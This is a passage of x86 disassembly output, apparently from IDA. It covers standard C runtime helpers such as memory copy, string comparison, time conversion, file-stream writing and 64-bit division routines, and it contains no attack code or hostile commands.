; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A96C jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A96C mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; .packed:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DCFDC call sub_422608 mov edx, dword_4DCFDC pop ecx mov ecx, dword_4DCFD8 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DCFDC call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DCFD8 sub ecx, dword_4DCFDC mov dword_4DCFDC, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DCFD8, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DCFD8, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: .packed:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DCFDC, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DCFDC pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DCFDC mov dword_4DCFD8, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: sub_40D99B+1B0p var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_42712C ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_4271A4 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_4DB9A2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB9A0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB99E jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB99A jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB998 jnz short loc_41D0E6 mov eax, dword_4DB990 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax call dword_4271A0 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB998 movsd movsd movsd movsd pop edi mov dword_4DB990, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near ; CODE XREF: sub_40D99B+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB9EC cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; =============== S U B R O U T I N E ======================================= sub_41D1EC proc near ; CODE XREF: sub_411796+26Ep ; sub_411796+37Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+8+arg_8] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: sub_41D1EC+13j ; sub_41D1EC+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: sub_41D1EC+27j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: sub_41D1EC+42j test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: sub_41D1EC+49j ; sub_41D1EC+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: sub_41D1EC+Bj ; sub_41D1EC+1Dj mov dword_4DB938, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: sub_41D1EC+7Aj pop edi pop esi retn sub_41D1EC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: sub_4161BC+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_427098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call dword_42708C ; RtlGetLastWin32Error push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB938, 0Dh mov dword_4DB93C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB9F4 push ebx xor ebx, 